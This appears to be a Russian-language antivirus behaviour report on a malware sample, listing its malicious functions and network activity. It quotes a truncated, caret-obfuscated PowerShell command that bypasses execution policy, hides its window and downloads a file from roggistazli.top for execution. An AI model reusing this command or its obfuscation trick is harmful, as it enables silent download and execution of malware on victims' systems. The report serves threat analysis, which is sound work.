Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://roggistazli.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^Wersh^ell^.EXE^ -^ExeCUTIon^Po^L^Icy ^b^ypaS^s^ -No^pR^o^f^ILE^ ^-^winDOW^STyL^E HIDdEn (^New-^O^b^Jec^t s^YsTe^M.n^E^t^.WEb^C^l^IEN^T^).dOw^N^loadFIL^E(^'http://roggistazli...
Сетевая активность
UDP
- DNS ASK ro###stazli.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^Wersh^ell^.EXE^ -^ExeCUTIon^Po^L^Icy ^b^ypaS^s^ -No^pR^o^f^ILE^ ^-^winDOW^STyL^E HIDdEn (^New-^O^b^Jec^t s^YsTe^M.n^E^t^.WEb^C^l^IEN^T^).dOw^N^loadFIL^E(^'http://roggistazli...' (со скрытым окном)
